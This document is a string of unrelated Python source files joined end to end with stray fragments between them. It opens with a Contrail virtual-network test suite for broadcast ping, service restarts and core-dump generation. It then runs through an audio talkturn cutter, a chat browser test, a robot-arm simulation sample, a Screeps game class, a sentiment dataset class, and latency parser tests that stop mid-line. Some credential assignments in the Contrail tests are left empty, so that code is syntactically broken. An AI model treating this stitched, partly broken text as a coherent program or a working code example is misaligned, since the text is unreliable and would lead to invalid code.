vm3_fixture.run_cmd_on_vm(cmds=cmd_list_to_pass_vm, as_sudo=True) vm4_fixture.run_cmd_on_vm(cmds=cmd_list_to_pass_vm, as_sudo=True) for dst_ip in list_of_ip_to_ping: print 'pinging from %s to %s' % (vm1_ip, dst_ip) # pinging from Vm1 to subnet broadcast ping_output = vm1_fixture.ping_to_ip( dst_ip, return_output=True, count=ping_count, other_opt='-b') expected_result = ' 0% packet loss' assert (expected_result in ping_output) # getting count of ping response from each vm string_count_dict = {} string_count_dict = get_string_match_count(ip_list, ping_output) print string_count_dict for k in ip_list: # this is a workaround : ping utility exist as soon as it gets # one response assert (string_count_dict[k] >= (int(ping_count) - 1)) return True # end subnet ping @preposttest_wrapper def test_ping_within_vn_two_vms_two_different_subnets(self): ''' Validate Ping between two VMs within a VN-2 vms in 2 different subnets. Validate ping to subnet broadcast not responded back by other vm Validate ping to network broadcast (all 255) is responded back by other vm ''' vn1_name = 'vn030' vn1_subnets = ['172.16.31.10/30', '192.168.127.12/30'] # vn1_subnets=['192.168.127.12/24'] vn1_vm1_name = 'vm1' vn1_vm2_name = 'vm2' vn1_fixture = self.useFixture( VNFixture( project_name=self.inputs.project_name, connections=self.connections, vn_name=vn1_name, inputs=self.inputs, subnets=vn1_subnets)) assert vn1_fixture.verify_on_setup() vm1_fixture = self.useFixture( VMFixture( project_name=self.inputs.project_name, connections=self.connections, vn_obj=vn1_fixture.obj, vm_name=vn1_vm1_name)) vm2_fixture = self.useFixture( VMFixture( project_name=self.inputs.project_name, connections=self.connections, vn_obj=vn1_fixture.obj, vm_name=vn1_vm2_name)) assert vm1_fixture.verify_on_setup() assert vm2_fixture.verify_on_setup() vm1_fixture.wait_till_vm_is_up() vm2_fixture.wait_till_vm_is_up() assert vm1_fixture.ping_to_ip(vm2_fixture.vm_ip) assert vm2_fixture.ping_to_ip(vm1_fixture.vm_ip) # Geting the VM ips vm1_ip = vm1_fixture.vm_ip vm2_ip = vm2_fixture.vm_ip ip_list = [vm1_ip, vm2_ip] # gettig broadcast ip for vm1_ip ip_broadcast = '' ip_broadcast = get_subnet_broadcast_from_ip(vm1_ip, '30') list_of_ip_to_ping = [ip_broadcast, '172.16.17.32', '255.255.255.255'] # passing command to vms so that they respond to subnet broadcast cmd_list_to_pass_vm = [ 'echo 0 > /proc/sys/net/ipv4/icmp_echo_ignore_broadcasts'] vm1_fixture.run_cmd_on_vm(cmds=cmd_list_to_pass_vm, as_sudo=True) vm2_fixture.run_cmd_on_vm(cmds=cmd_list_to_pass_vm, as_sudo=True) for dst_ip in list_of_ip_to_ping: print 'pinging from %s to %s' % (vm1_ip, dst_ip) # pinging from Vm1 to subnet broadcast ping_output = vm1_fixture.ping_to_ip( dst_ip, return_output=True, other_opt='-b') expected_result = ' 0% packet loss' assert (expected_result in ping_output) # getting count of ping response from each vm string_count_dict = {} string_count_dict = get_string_match_count(ip_list, ping_output) print string_count_dict if (dst_ip == ip_broadcast): assert (string_count_dict[vm2_ip] == 0) if (dst_ip == '172.16.17.32' or dst_ip == '255.255.255.255'): assert (string_count_dict[vm2_ip] > 0) return True # end test_ping_within_vn @preposttest_wrapper def test_process_restart_in_policy_between_vns(self): ''' Test to validate that with policy having rule to check icmp fwding between VMs on different VNs , ping between VMs should pass with process restarts ''' result = True msg = [] vn1_name = 'vn40' vn1_subnets = ['172.16.31.10/24'] vn2_name = 'vn41' vn2_subnets = ['172.16.17.32/24'] policy1_name = 'policy1' policy2_name = 'policy2' rules = [ { 'direction': '<>', 'simple_action': 'pass', 'protocol': 'icmp', 'source_network': vn1_name, 'dest_network': vn2_name, }, ] rev_rules = [ { 'direction': '<>', 'simple_action': 'pass', 'protocol': 'icmp', 'source_network': vn2_name, 'dest_network': vn1_name, }, ] policy1_fixture = self.useFixture( PolicyFixture( policy_name=policy1_name, rules_list=rules, inputs=self.inputs, connections=self.connections)) policy2_fixture = self.useFixture( PolicyFixture( policy_name=policy2_name, rules_list=rev_rules, inputs=self.inputs, connections=self.connections)) vn1_fixture = self.useFixture( VNFixture( project_name=self.inputs.project_name, connections=self.connections, vn_name=vn1_name, inputs=self.inputs, subnets=vn1_subnets, policy_objs=[policy1_fixture.policy_obj])) assert vn1_fixture.verify_on_setup() vn2_fixture = self.useFixture( VNFixture( project_name=self.inputs.project_name, connections=self.connections, vn_name=vn2_name, inputs=self.inputs, subnets=vn2_subnets, policy_objs=[policy2_fixture.policy_obj])) assert vn2_fixture.verify_on_setup() vn1_vm1_name = 'vm1' vn1_vm2_name = 'vm2' vm1_fixture = self.useFixture( VMFixture( project_name=self.inputs.project_name, connections=self.connections, vn_obj=vn1_fixture.obj, vm_name=vn1_vm1_name)) vm2_fixture = self.useFixture( VMFixture( project_name=self.inputs.project_name, connections=self.connections, vn_obj=vn2_fixture.obj, vm_name=vn1_vm2_name)) assert vm1_fixture.verify_on_setup() assert vm2_fixture.verify_on_setup() vm1_fixture.wait_till_vm_is_up() vm2_fixture.wait_till_vm_is_up() self.logger.info("Verify ping to vm %s" % (vn1_vm2_name)) ret = vm1_fixture.ping_with_certainty( vm2_fixture.vm_ip, expectation=True) result_msg = "vm ping test result to vm %s is: %s" % ( vn1_vm2_name, ret) self.logger.info(result_msg) if ret != True: result = False msg.extend([result_msg, policy1_name]) self.assertEqual(result, True, msg) for compute_ip in self.inputs.compute_ips: self.inputs.restart_service('contrail-vrouter', [compute_ip]) for bgp_ip in self.inputs.bgp_ips: self.inputs.restart_service('contrail-control', [bgp_ip]) sleep(30) self.logger.info('Sleeping for 30 seconds') vn1_vm3_name = 'vm3' vn1_vm4_name = 'vm4' vm3_fixture = self.useFixture( VMFixture( project_name=self.inputs.project_name, connections=self.connections, vn_obj=vn1_fixture.obj, vm_name=vn1_vm3_name)) vm4_fixture = self.useFixture( VMFixture( project_name=self.inputs.project_name, connections=self.connections, vn_obj=vn2_fixture.obj, vm_name=vn1_vm4_name)) assert vm3_fixture.verify_on_setup() assert vm4_fixture.verify_on_setup() vm3_fixture.wait_till_vm_is_up() vm4_fixture.wait_till_vm_is_up() self.logger.info("Verify ping to vm %s" % (vn1_vm4_name)) ret = vm3_fixture.ping_with_certainty( vm4_fixture.vm_ip, expectation=True) result_msg = "vm ping test result to vm %s is: %s" % ( vn1_vm4_name, ret) self.logger.info(result_msg) if ret != True: result = False msg.extend([result_msg, policy1_name]) self.assertEqual(result, True, msg) return True # end test_process_restart_in_policy_between_vns @preposttest_wrapper def test_multiple_vn_vm(self): """ Validate creation of multiple VN with multiple subnet and VMs in it. """ result = True # Multiple VN's with multiple subnets vn_s = {'vn-1': '172.16.17.32/24', 'vn-2': ['10.1.1.0/24', '10.1.2.0/24']} multi_vn_fixture = self.useFixture(MultipleVNFixture( connections=self.connections, inputs=self.inputs, subnet_count=2, vn_name_net=vn_s, project_name=self.inputs.project_name)) assert multi_vn_fixture.verify_on_setup() vn_objs = multi_vn_fixture.get_all_fixture_obj() multi_vm_fixture = self.useFixture(MultipleVMFixture( project_name=self.inputs.project_name, connections=self.connections, vm_count_per_vn=4, vn_objs=vn_objs, image_name='cirros-0.3.0-x86_64-uec', flavor='m1.tiny')) assert multi_vm_fixture.verify_on_setup() return True # end test_multiple_vn_vm @preposttest_wrapper def test_process_restart_with_multiple_vn_vm(self): ''' Test to validate that multiple VM creation and deletion passes. ''' vm1_name = 'vm_mine' vn_name = 'vn222' vn_subnets = ['172.16.17.32/24'] vn_count_for_test = 32 if (len(self.inputs.compute_ips) == 1): vn_count_for_test = 10 vm_fixture = self.useFixture( create_multiple_vn_and_multiple_vm_fixture( connections=self.connections, vn_name=vn_name, vm_name=vm1_name, inputs=self.inputs, project_name=self.inputs.project_name, subnets=vn_subnets, vn_count=vn_count_for_test, vm_count=1, subnet_count=1, image_name='cirros-0.3.0-x86_64-uec', flavor='m1.tiny')) time.sleep(100) try: assert vm_fixture.verify_vms_on_setup() assert vm_fixture.verify_vns_on_setup() except Exception as e: self.logger.exception("Got exception as %s" % (e)) compute_ip = [] for vmobj in vm_fixture.vm_obj_dict.values(): vm_host_ip = vmobj.vm_node_ip if vm_host_ip not in compute_ip: compute_ip.append(vm_host_ip) self.inputs.restart_service('contrail-vrouter', compute_ip) sleep(50) for vmobj in vm_fixture.vm_obj_dict.values(): assert vmobj.verify_on_setup() return True @preposttest_wrapper def test_bring_up_vm_with_control_node_down(self): ''' Create VM when there is not active control node. Verify VM comes up fine when all control nodes are back ''' if len(set(self.inputs.bgp_ips)) < 2: raise self.skipTest( "Skiping Test. At least 2 control node required to run the test") result = True vn1_name = 'vn30' vn1_subnets = ['192.168.127.12/24'] # Collecting all the control node details controller_list = [] for entry in self.inputs.compute_ips: inspect_h = self.agent_inspect[entry] agent_xmpp_status = inspect_h.get_vna_xmpp_connection_status() for entry in agent_xmpp_status: controller_list.append(entry['controller_ip']) controller_list = set(controller_list) # Stop all the control node for entry in controller_list: self.logger.info('Stoping the Control service in %s' % (entry)) self.inputs.stop_service('contrail-control', [entry]) self.addCleanup(self.inputs.start_service, 'contrail-control', [entry]) sleep(30) vn1_vm1_name = 'vm1' vn1_vm2_name = 'vm2' vn1_fixture = self.useFixture( VNFixture( project_name=self.inputs.project_name, connections=self.connections, vn_name=vn1_name, inputs=self.inputs, subnets=vn1_subnets)) vm1_fixture = self.useFixture( VMFixture( project_name=self.inputs.project_name, connections=self.connections, vn_obj=vn1_fixture.obj, vm_name=vn1_vm1_name)) vm2_fixture = self.useFixture( VMFixture( project_name=self.inputs.project_name, connections=self.connections, vn_obj=vn1_fixture.obj, vm_name=vn1_vm2_name)) vm1_fixture.verify_vm_launched() vm2_fixture.verify_vm_launched() vm1_node_ip = self.inputs.host_data[ self.nova_fixture.get_nova_host_of_vm(vm1_fixture.vm_obj)]['host_ip'] vm2_node_ip = self.inputs.host_data[ self.nova_fixture.get_nova_host_of_vm(vm2_fixture.vm_obj)]['host_ip'] inspect_h1 = self.agent_inspect[vm1_node_ip] inspect_h2 = self.agent_inspect[vm2_node_ip] self.logger.info( 'Checking TAP interface is created for all VM and should be in Error state') vm1_tap_intf = None vm2_tap_intf = None vm1_tap_intf = inspect_h1.get_vna_tap_interface_by_ip( vm1_fixture.vm_ip) if vm1_tap_intf is []: self.logger.error('TAP interface is not created for VM %s' % (vn1_vm1_name)) result = result and False else: if vm1_tap_intf[0]['vrf_name'] != '--ERROR--': self.logger.error( 'TAP interface VRF info should be Error . But currently in %s' % (vm1_tap_intf[0]['vrf_name'])) result = result and False vm2_tap_intf = inspect_h2.get_vna_tap_interface_by_ip( vm2_fixture.vm_ip) if vm2_tap_intf is []: self.logger.error('TAP interface is not created for VM %s' % (vn1_vm2_name)) result = result and False else: if vm2_tap_intf[0]['vrf_name'] != '--ERROR--': self.logger.error( 'TAP interface VRF info should be Error . But currently in %s' % (vm2_tap_intf[0]['vrf_name'])) result = result and False self.logger.info('Waiting for 120 sec for cleanup to begin') sleep(120) # Check agent should not have any VN info for entry in self.inputs.compute_ips: inspect_h = self.agent_inspect[entry] self.logger.info('Checking VN info in agent %s.' % (entry)) if inspect_h.get_vna_vn_list()['VNs'] != []: self.logger.error( 'Agent should not have any VN info present when control node is down') result = result and False # Start all the control node for entry in controller_list: self.logger.info('Starting the Control service in %s' % (entry)) self.inputs.start_service('contrail-control', [entry]) sleep(10) self.logger.info('Checking the VM came up properly or not') assert vn1_fixture.verify_on_setup() assert vm2_fixture.verify_on_setup() assert vm1_fixture.verify_on_setup() # Check ping between VM assert vm2_fixture.ping_to_ip(vm1_fixture.vm_ip) if not result: self.logger.error( 'Test to verify cleanup of agent after control nodes stop Failed') assert result return True # end test_bring_up_vm_with_control_node_down # @preposttest_wrapper # def test_vn_reboot_nodes(self): # ''' Test to validate persistence of VN across compute/control/cfgm node reboots Commented till 129 is fixed. # ''' # vn_obj=self.useFixture( VNFixture(project_name= self.inputs.project_name, connections= self.connections, # vn_name='vn111', inputs= self.inputs, subnets=['192.168.127.12/24'])) # assert vn_obj.verify_on_setup() # reboot the compute node now and verify the VN persistence # for compute_ip in self.inputs.compute_ips: # self.inputs.reboot(compute_ip) # sleep(120) # assert vn_obj.verify_on_setup() # reboot the control nodes now and verify the VN persistence # for bgp_ip in self.inputs.bgp_ips: # self.inputs.reboot(bgp_ip) # sleep(120) # assert vn_obj.verify_on_setup() # reboot the cfgm node now and verify the VN persistence # self.inputs.reboot(self.inputs.cfgm_ip) # sleep(120) # assert vn_obj.verify_on_setup() # assert vn_obj # return True # end test_vn_reboot_nodes @preposttest_wrapper def test_vn_subnet_types(self): """ Validate various type of subnets associated to VNs. """ # vn-1 : 0.0.0.0/0 to be given once PR 802 is fixed reserved_ip_vns = {'vn-2': '169.254.1.1/24', 'vn-3': '251.2.2.1/24'} overlapping_vns = {'vn-5': ['10.1.1.0/24', '10.1.1.0/24'], 'vn-6': ['172.16.58.3/30', '11.11.11.8/29'], 'vn-7': '10.1.1.1/24'} # vn-4 is added here bcoz the check has been implemented already for # 127 and not for 0 non_usable_block_vns = {'vn-4': '127.0.0.1/8', 'vn-8': '192.168.127.12/31', 'vn-9': '192.168.3.11/32'} res_vn_fixture = self.useFixture( MultipleVNFixture(connections=self.connections, inputs=self.inputs, subnet_count=2, vn_name_net=reserved_ip_vns, project_name=self.inputs.project_name)) ovlap_vn_fixture = self.useFixture(MultipleVNFixture( connections=self.connections, inputs=self.inputs, subnet_count=2, vn_name_net=overlapping_vns, project_name=self.inputs.project_name)) try: non_usable_vn_fixture = self.useFixture(MultipleVNFixture( connections=self.connections, inputs=self.inputs, subnet_count=2, vn_name_net=non_usable_block_vns, project_name=self.inputs.project_name)) except NotPossibleToSubnet as e: self.logger.info( 'Subnets like vn-4, vn-8 and vn-8 cannot be created as IPs cannot be assigned') if not res_vn_fixture.verify_on_setup: self.logger.error( 'Reserved Addresses cannot be assigned --> Bug 803') assert ovlap_vn_fixture.verify_on_setup( ), 'Overlap in address space not taken care of ' return True # end test_subnets_vn @preposttest_wrapper def test_bulk_add_delete(self): ''' Validate adding multiple vms in bulk and deleting them in one shot ''' vn1_name = "bulk_test_vn1" vn1_subnets = ['172.16.17.32/24'] vn1_fixture = self.useFixture( VNFixture(project_name=self.inputs.project_name, connections=self.connections, vn_name=vn1_name, inputs=self.inputs, subnets=vn1_subnets)) assert vn1_fixture.verify_on_setup(), "Verification of VN %s failed" % ( vn1_name) # Create 15 VMs in bulk vm_count = 15 vmx_fixture = self.useFixture( VMFixture(project_name=self.inputs.project_name, connections=self.connections, vn_obj=vn1_fixture.obj, vm_name=vn1_name, count=vm_count, image_name='cirros-0.3.0-x86_64-uec', flavor='m1.tiny')) assert vmx_fixture.verify_vm_launched(), 'One or more VMs do not seem' \ ' to have got launched. Please check logs' # Delete all vms now self.remove_from_cleanups(vmx_fixture) vmx_fixture.cleanUp(), 'Cleanup failed for atleast one VM, Check logs' assert vmx_fixture.verify_vm_not_in_nova(), 'Atleast 1 VM not deleted ' \ ' in Nova, Pls check logs' return True # end test_bulk_add_delete @preposttest_wrapper def test_multiple_metadata_service_scale(self): ''' Test to metadata service scale. ''' vm1_name = 'vm_min' vn_name = 'vn1111' vn_subnets = ['172.16.58.3/24'] vn_fixture = self.useFixture( VNFixture( project_name=self.inputs.project_name, connections=self.connections, vn_name=vn_name, inputs=self.inputs, subnets=vn_subnets)) vn_obj = vn_fixture.obj vm1_fixture = self.useFixture(VMFixture(connections=self.connections, vn_obj=vn_obj, vm_name=vm1_name, project_name=self.inputs.project_name, image_name='cirros-0.3.0-x86_64-uec', flavor='m1.tiny')) text = """#!/bin/sh echo "Hello World. The time is now $(date -R)!" | tee /tmp/output.txt """ try: with open("/tmp/metadata_script.txt", "w") as f: f.write(text) except Exception as e: self.logger.exception( "Got exception while creating /tmp/metadata_script.txt as %s" % (e)) vm1_name = 'vm_mine' vn_name = 'vn222' vn_subnets = ['172.16.17.32/24'] vn_count_for_test = 20 if (len(self.inputs.compute_ips) == 1): vn_count_for_test = 2 try: vm_fixture = self.useFixture( create_multiple_vn_and_multiple_vm_fixture( connections=self.connections, vn_name=vn_name, vm_name=vm1_name, inputs=self.inputs, project_name=self.inputs.project_name, subnets=vn_subnets, vn_count=vn_count_for_test, vm_count=1, subnet_count=1, userdata='/tmp/metadata_script.txt', image_name='cirros-0.3.0-x86_64-uec', flavor='m1.tiny')) compute_ip = [] time.sleep(30) except Exception as e: self.logger.exception("Got exception as %s" % (e)) try: assert vm_fixture.verify_vms_on_setup() assert vm_fixture.verify_vns_on_setup() except Exception as e: self.logger.exception("Got exception as %s" % (e)) cmd = 'ls /tmp/' result = True for vmobj in vm_fixture.vm_obj_dict.values(): ret = vmobj.run_cmd_on_vm(cmds=[cmd]) for elem in ret.values(): if 'output.txt' in elem: result = result and True break if not result: self.logger.warn( "metadata_script.txt did not get executed in the vm") result = result and False else: self.logger.info("Printing the output.txt :") cmd = 'cat /tmp/output.txt' ret = vmobj.run_cmd_on_vm(cmds=[cmd]) self.logger.info("%s" % (ret.values())) for elem in ret.values(): if 'Hello World' in elem: result = result and True else: self.logger.warn( "metadata_script.txt did not get executed in the vm...output.txt does not contain proper output") result = result and False assert result return True @preposttest_wrapper def test_kill_service_verify_core_generation(self): """Validate core is generated for services on SIGQUIT""" compute_ip = self.inputs.compute_ips[0] compute_user = self.inputs.host_data[compute_ip]['username'] compute_pwd = self.inputs.host_data[compute_ip]['password'] cfgm_ip = self.inputs.cfgm_ips[0] cfgm_user = self.inputs.host_data[cfgm_ip]['username'] cfgm_pwd = self.inputs.host_data[cfgm_ip]['password'] collector_ip = self.inputs.collector_ips[0] collector_user = self.inputs.host_data[collector_ip]['username'] collector_pwd = self.inputs.host_data[collector_ip]['password'] control_ip = self.inputs.bgp_ips[0] control_user = self.inputs.host_data[control_ip]['username'] control_pwd = self.inputs.host_data[control_ip]['password'] result = True err_msg = [] # Format : [, # ] service_list = { 'contrail-control': ['control-node', 'control'], 'contrail-vrouter': ['vnswad', 'compute'], 'contrail-qe': ['qed', 'collector'], 'contrail-collector': ['vizd', 'collector'], 'contrail-opserver': ['python', 'collector'], 'contrail-discovery': ['python', 'cfgm'], 'contrail-api': ['python', 'cfgm'], 'contrail-svc-monitor': ['python', 'cfgm'] } for service, process in service_list.iteritems(): cmd = "service %s status | awk '{print $4}' | cut -f 1 -d','" % service self.logger.info("service:%s, process:%s" % (service, process)) if process[1] == 'cfgm': login_ip = cfgm_ip login_user = cfgm_user login_pwd = elif process[1] == 'compute': login_ip = compute_ip login_user = compute_user login_pwd = elif process[1] == 'control': login_ip = control_ip login_user = control_user login_pwd = elif process[1] == 'collector': login_ip = collector_ip login_user = collector_user login_pwd = else: self.logger.error("invalid role:%s" % process[1]) result = result and False assert result, "Invalid role:%s specified for service:%s" % ( process[1], service) with settings(host_string='%s@%s' % (login_user, login_ip), password=, warn_only=True, abort_on_prompts=False): pid = run(cmd) self.logger.info("service:%s, pid:%s" % (service, pid)) run('kill -3 %s' % pid) sleep(10) if "No such file or directory" in run("ls -lrt /var/crashes/core.%s.%s*" % (process[0], pid)): self.logger.error( "core is not generated for service:%s" % service) err_msg.append("core is not generated for service:%s" % service) result = result and False else: # remove core after generation run("rm -f /var/crashes/core.%s.%s*" % (process[0], pid)) assert result, "core generation validation test failed: %s" % err_msg return True # end test_kill_service_verify_core_generation # end TestVMVN ''' This script cuts the audio file into smaller wav file of talkturns ''' import datetime import os import numpy as np import pandas as pd from pydub import AudioSegment import Python.Data_Preprocessing.config.config as cfg def convert(n_sec): ''' convert seconds to time format :param n: seconds :return: time ''' return str(datetime.timedelta(seconds=n_sec)) def cut_to_talkturn(file, start_time, end_time, talkturn_no, parallel_run_settings): ''' cut wav file into talkturn wav files :param file: wav file :param start_time: start cut time :param end_time: end cut time :param talkturn_no: talkturn number :return: none ''' # parallel_run_settings = prs.get_parallel_run_settings("marriane_win") t_1 = start_time * 1000 t_2 = end_time * 1000 new_audio = AudioSegment.from_wav(os.path.join(parallel_run_settings['wav_path'], file)) new_audio = new_audio[t_1:t_2] # Marriane TODO reduce dependencies on finding a certain character new_audio.export(os.path.join(parallel_run_settings['talkturn_wav_path'], file[:-4] + "_" + str(talkturn_no) + '.wav'), format="wav") def cut_files(video_name_1, video_name_2, parallel_run_settings): ''' cut wav files into smaller wav talkturns :return: none ''' # parallel_run_settings = prs.get_parallel_run_settings("marriane_win") dfr = pd.read_csv(os.path.join(parallel_run_settings['csv_path'], video_name_1 + '_' + video_name_2, 'Stage_2', "weaved talkturns.csv")) dfr['audio_id'] = dfr.apply(lambda x: video_name_1 if x['speaker'] == cfg.parameters_cfg['speaker_1'] else video_name_2, axis=1) print(dfr) wav_list = [video_name_1+'.wav', video_name_2+'.wav'] #for i in os.listdir(parallel_run_settings['wav_path']): #if i.endswith(".wav"): #wav_list.append(i) for i in wav_list: new_data = dfr.loc[np.where((dfr['audio_id'] == i[:-4]))] for index, row in new_data.iterrows(): start_time = row['start time'] end_time = row['end time'] if start_time != end_time: talkturn_number = row['talkturn no'] cut_to_talkturn(file=i, start_time=start_time, end_time=end_time, talkturn_no=talkturn_number, parallel_run_settings=parallel_run_settings) print("\n Cut talkturn: " + str(talkturn_number)) else: continue if __name__ == '__main__': cut_files(video_name_1='zoom_F', video_name_2='zoom_M') import time import traceback import settings import sites from util import SSandClose s=None c=None def test(config): try: s = sites.sites['serviant'].StaffBrowser(settings.browsers[config['staff_browser']]) s.login() c = sites.sites['serviant'].ClientBrowser(settings.browsers[config['client_browser']]) c.openChat() s.waitForClient() for n in range(2): c.waitForChatLine(s.sendChatLine()) s.waitForChatLine(c.sendChatLine()) if config['client_disconnect'] == 'DROP': c.dropTraffic() elif config['client_disconnect'] == 'REJECT': c.rejectTraffic() if config['staff_disconnect'] == 'DROP': s.dropTraffic() elif config['staff_disconnect'] == 'REJECT': s.rejectTraffic() time.sleep(config['disconnect_time']/2) clientLastLine = None if config['client_send_during_disconnect']: clientLastLine = c.sendChatLine() staffLastLine = None if config['staff_send_during_disconnect']: staffLastLine = s.sendChatLine() time.sleep(config['disconnect_time']/2) #debug time.sleep(600) if config['client_disconnect']: c.acceptTraffic() if config['staff_disconnect']: s.acceptTraffic() time.sleep(config['reconnect_time']) if clientLastLine: s.waitForChatLine(clientLastLine) if staffLastLine: c.waitForChatLine(staffLastLine) for n in range(2): c.waitForChatLine(s.sendChatLine()) s.waitForChatLine(c.sendChatLine()) if config['staff_initiates_close']: s.closeChat() c.confirmClose() else: c.closeChat() s.close() c.close() print "-> succes!" except: print "-> failed!" traceback.print_exc() if c: if config['client_disconnect']: c.acceptTraffic() SSandClose(c) if s: if config['staff_disconnect']: s.acceptTraffic() SSandClose(s) next 0 # from metaworld.core.image_env import ImageEnv # from metaworld.envs.mujoco.cameras import sawyer_pick_and_place_camera from metaworld.envs.mujoco.ur3_xyz.ur3_dual_pick_and_place import UR3PickAndPlaceEnv import numpy as np import time import glfw from metaworld.envs.mujoco.utils.rotation import euler2quat, quat2euler from metaworld.envs.env_util import quat_to_zangle, zangle_to_quat, quat_create, quat_mul """ Sample a goal (object will be in hand as p_obj_in_hand=1) and try to set the env state to the goal. I think there's a small chance this can fail and the object falls out. """ # test gi # env.set_to_goal( # {'state_desired_goal': env.generate_uncorrected_env_goals(1)['state_desired_goal'][0]} # ) # Close gripper for 20 timesteps # action = np.array([0, 0, 1]) def sample_pick_and_place(): tasks = [{'goal': np.array([0.1, 0.4, 0.2]), 'obj_init_pos':np.array([0, 0.5, 0.02]), 'obj_init_angle': 0.3}] hand_init_pos = (0.2, 0.4, 0.2) # hand_init_pos = (-0.314, 0.656, 0.066) env = UR3PickAndPlaceEnv(random_init=True, tasks = tasks, rotMode='vertical_fixed', hand_init_pos=hand_init_pos) # env = SawyerPickAndPlaceEnv(tasks = tasks, rotMode='rotz', hand_init_pos=hand_init_pos) for _ in range(100): env.render() # print(env.get_endeff_pos()) print(env.data.get_body_xquat('hand')) print(env.data.mocap_quat) for i in range(1): obs = env.reset() for _ in range(100): env.render() print(env.data.get_body_xquat('hand')) print(env.data.mocap_quat) Ds = env.observation_space.shape[0] Da = env.action_space.shape[0] dt = env.dt print('observation space is ', Ds) print('action space is ', Da) print('qpos is ', env.data.qpos.shape) print('qvel is ', env.data.qvel.shape) print('mocap pos is ', env.data.mocap_pos) print('mocap quat is ', env.data.mocap_quat) ref_theta = np.array([-91.13, -92.48, -89.77, -12.91, 83.09, -41.39])*np.pi/180 # ref_theta = np.zeros(6)*np.pi/180 # env.set_joint_state(ref_theta) # for _ in range(1000): # env.render() print('dt is ', dt) for i in range(100): env.reset() # print(env.get_endeff_quat()) for _ in range(50): # print(env.data.qpos[:7]) # print('mocap quat is ', env.data.mocap_quat) # print('endeff pos : {}'.format(env.get_endeff_pos())) env.render() # action = env.action_space.sample() action = np.zeros(env.action_space.flat_dim) # action[-1] = -1 # action = np.zeros(Da) #*np.random.normal(size = 1) # action[0]=-1 # action[1]=1 # action[-1] = -1 obs, _, _ , _ = env.step(action) # print(obs) # time.sleep(0.05) # glfw.destroy_window(env.viewer.window) sample_pick_and_place() 0 from ..defs import * __pragma__('noalias', 'name') __pragma__('noalias', 'undefined') __pragma__('noalias', 'Infinity') __pragma__('noalias', 'keys') __pragma__('noalias', 'get') __pragma__('noalias', 'set') __pragma__('noalias', 'type') __pragma__('noalias', 'update') from creeps.easy import EasyCreep class Harvester(EasyCreep): ICON = '☭' def _get_source_getters(self): result = [] #if not self.class_exists('hauler'): # TODO: this gets weird in transition from RCL 4 to 5 #else: result.append(self._get_nearby_dropped_resource) result.append(self._get_nearby_energetic_ruin) result.append(self._get_nearby_energetic_tombstones) result.append(self._get_dropped_resource) if self.creep.room.energyCapacityAvailable - self.creep.room.energyAvailable >= 1 or self.creep.memory.cls == 'builder': result.append(self._get_refill_source) result.append(self._get_random_energetic_ruin) if not self.class_exists('hauler'): if self.creep.room.controller.level <= 2: result.append(self._get_closest_enemy_spawn) result.append(self._get_random_enemy_building) result.append(self._get_fullest_miner_container) if self.creep.room.controller.level >= 6 and self.class_exists('miner'): result.append( self._get_closest_link, ) if not self.class_exists('miner'): # TODO: scale with number of sources in the room result.append(self._get_neighboring_source) result.append(self._get_nonempty_storage) result.append(self._get_random_source) return result def _get_target_getters(self): result = [ self._get_rcl1_controller, self._get_room_controller_if_low, self._get_spawn_construction_site, ] if not self.class_exists('hauler'): #if self.total_creeps_in_room() == 1: result.append(self._get_closest_nonempty_util_building) #else: # result.append(self._get_random_nonempty_util_building) # TODO XXX: critical repairs? if not self.class_exists('builder') or self.creep.memory.cls == 'builder': result.append(self._get_closest_construction_site) #else: # result.append(self._get_neighboring_construction_site) result.append(self._get_best_free_church) if self.creep.room.controller.level != 8 or not self.class_exists('upgrader'): result.append(self._get_room_controller) return result 10-100 #!/usr/bin/env python 3 # -*- coding: utf-8 -*- # # Copyright (c) 2020 PanXu, Inc. All Rights Reserved # """ 生成训练样本数据集 Authors: PanXu Date: 2020/07/12 15:40:00 """ from typing import List from torch.utils.data import Dataset from easytext.data import Instance from .sem_eval_dataset import SemEvalDataset class ACSASemEvalDataset(Dataset): """ 将 SemEval 数据集 构造成 ACSA 用的格式。在 SemEval 中, 格式: sentence 对应多个 category 和 polarity。所以，需要拆分开， 形成 作为一个样本。 """ def __init__(self, dataset_file_path: str): self._sem_eval_dataset = SemEvalDataset(dataset_file_path=dataset_file_path) self._instances: List[Instance] = list() for sem_eval_instance in self._sem_eval_dataset: sentence = sem_eval_instance["sentence"] aspect_categories = sem_eval_instance["aspect_categories"] for aspect_category in aspect_categories: instance = Instance() instance["sentence"] = sentence instance["category"] = aspect_category["category"] instance["label"] = aspect_category["polarity"] self._instances.append(instance) def __getitem__(self, index: int) -> Instance: return self._instances[index] def __len__(self) -> int: return len(self._instances) import datetime import re from elfstatsd import log_record, settings import pytest import apachelog from elfstatsd.utils import MILLISECOND_EXPONENT, MICROSECOND_EXPONENT, SECOND_EXPONENT, NANOSECOND_EXPONENT from elfstatsd.utils import parse_line, format_value_for_munin, format_filename, parse_latency @pytest.fixture(scope='function') def utils_setup(monkeypatch): """ Monkeypatch settings setup for utils module. """ monkeypatch.setattr(log_record, 'APACHELOG_DATETIME_FORMAT', '%Y%m%d%H%M%S') monkeypatch.setattr(settings, 'ELF_FORMAT', r'%h %l %u %t \"%r\" %>s %B \"%{Referer}i\" \"%{User-Agent}i\" ' r'%{JK_LB_FIRST_NAME}n %{JK_LB_LAST_NAME}n %{JK_LB_LAST_STATE}n %I %O %D') monkeypatch.setattr(settings, 'VALID_REQUESTS', [ re.compile(r'^/data/(?P[\w.]+)/(?P[\w.]+)[/?%&]?'), re.compile(r'^/data/(?P[\w.]+)[/?%&]?'), re.compile(r'^/data'), ]) return monkeypatch class TestLatency(): def test_int_0(self): assert parse_latency('0', MILLISECOND_EXPONENT) == 0 def test_int_12(self): assert parse_latency('012', MILLISECOND_EXPONENT) == 0 def test_int_114(self): assert parse_latency('114', MILLISECOND_EXPONENT) == 0 def test_int_114(self): assert parse_latency('114', MICROSECOND_EXPONENT) == 114 def test_int_4135(self): assert parse_latency('4135', MILLISECOND_EXPONENT) == 4 def test_int_4135_6(self): assert parse_latency('4135', MICROSECOND_EXPONENT) == 4135 def test_int_4466(self): assert parse_latency('4466', MILLISECOND_EXPONENT) == 4 def test_int_99999(self): assert parse_latency('99999', MILLISECOND_EXPONENT) == 100 def test_int_100000(self): assert parse_latency('100000', MILLISECOND_EXPONENT) == 100 def test_int_5104543(self): assert parse_latency('5104543', MILLISECOND_EXPONENT) == 5105 def test_int_5104543_6(self): assert parse_latency('5104543', MICROSECOND_EXPONENT) == 5104543 def test_int_5104543_0(self): assert parse_latency('5104543', SECOND_EXPONENT) == 5 def test_float_0(self): assert parse_latency('0.000000000', 